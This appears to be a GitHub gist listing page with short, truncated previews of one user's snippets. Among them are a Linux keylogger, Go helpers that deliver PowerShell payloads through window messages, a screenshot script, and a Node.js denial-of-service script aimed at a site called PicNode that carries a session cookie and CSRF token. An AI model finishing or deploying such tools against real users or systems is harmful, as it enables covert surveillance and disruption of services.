Skip to content

Instantly share code, notes, and snippets.

@Raffy27
Raffy27 / dimensional-lock.c
Created April 4, 2023 12:22
Stealthy IPC using offsets and file descriptors
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>
#define SIG_SYNC 0
#define SIG_END 1
@Raffy27
Raffy27 / keylogger_linux.c
Last active August 23, 2022 18:09
Simple keylogger demo
#include <stdio.h>
#include <fcntl.h>
#include <linux/input.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
FILE *logfile;
int key_count = 0;
const char code_map[][20] = {
@Raffy27
Raffy27 / bin2mouse.py
Created May 23, 2022 18:27
Converts mouse bits into meaningful data
"""
This Python scripts loads the bitstrings from a text file and converts them to mouse events.
It also checks for parity bits and reports incorrect values.
"""
import json
def parse_mouse_event(b):
d = {
@Raffy27
Raffy27 / Bin2Bcd.gv
Last active May 23, 2022 18:40
MouseDecoder Dot Diagrams
digraph {
node [shape=rectangle];
splines=ortho;
inputs [width=5]
inputs -> {_reg0 _reg1 _regdot _regn} [xlabel="Num"];
inputs -> {_wnode reg0} [xlabel="Clock"];
inputs -> {_wnode reg0} [xlabel="Reset"];
@Raffy27
Raffy27 / ivtdump.asm
Created May 19, 2022 13:50
Code to dump the IVT in DOS
MyData segment para public 'Data'
Msg1 db 'IVT Dump', 10, '$'
Msg2 db 'IV[cs:ip] =', 9, 9, 9, '[', '$'
MsgX db ':', '$'
Msg3 db ']', 10, '$'
Msg4 db 'IVT Dump End', 10, '$'
HexTable db '0123456789ABCDEF'
MyData ends
MyCode segment para public 'Code'
@Raffy27
Raffy27 / core.go
Last active June 15, 2021 18:33
Executing PowerShell commands using Window Messages
package wmsg
import (
"bufio"
"fmt"
"log"
"os"
"runtime"
"strings"
"syscall"
@Raffy27
Raffy27 / window.go
Last active June 15, 2021 18:18
Window-related helper functions for delivering a [wmsg] PowerShell payload
package wmsg
import (
"strings"
"syscall"
"unsafe"
)
const (
WM_KEYDOWN = 0x0100
@Raffy27
Raffy27 / Screenshot.ps1
Last active April 21, 2021 11:21
Screenshot with variable dimensions
[Reflection.Assembly]::LoadWithPartialName("System.Drawing")
function screenshot([Drawing.Rectangle]$bounds, $path) {
$bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height
$graphics = [Drawing.Graphics]::FromImage($bmp)
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
$bmp.Save($path)
$graphics.Dispose()
$bmp.Dispose()
@Raffy27
Raffy27 / JunkNode.js
Created November 28, 2020 18:48
Tárhely alapú DoS támadás a PicNode ellen x3
const axios = require('axios'),
crypto = require('crypto');
const csrfToken = 'e4g6F63fa5VaTMse',
cookie = 'io=nL7nTpRWQwDOFrBgAAA7; connect.sid=s%3AVQ2S5vY5mA-XY8-iIfCc6_45oORr7HIy.npEMrdSxsnN0XksRUGVx2Nuycj4h2LdaBPtaoRUNq1U',
//Pár byte-ot módosítottam, azért nem adom oda a sütimet! Nyami
payload = 7.499943 * 1024 * 1024,
cluster = 10;
let data = {
@Raffy27
Raffy27 / JS Alapok 2.md
Last active November 10, 2020 19:19
JS Alapok 2 - műveletek karakterláncokkal és tömbökkel, if utasítás, for ciklus

JavaScript alapok 2

Műveletek karakterláncokkal

A karakterláncokkal (string típusú változók és konstansok) különböző műveleteket lehet végezni, amelyek segítenek ezek alakításában. Az esetek többségében kezelhetjük őket karakterek tömbjeként, ahogy a nevük is mutatja.

Hossz

A karakterlánc hosszát a length tulajdonság adja meg:

let x = 'Kerebentelen';
console.log(x.length);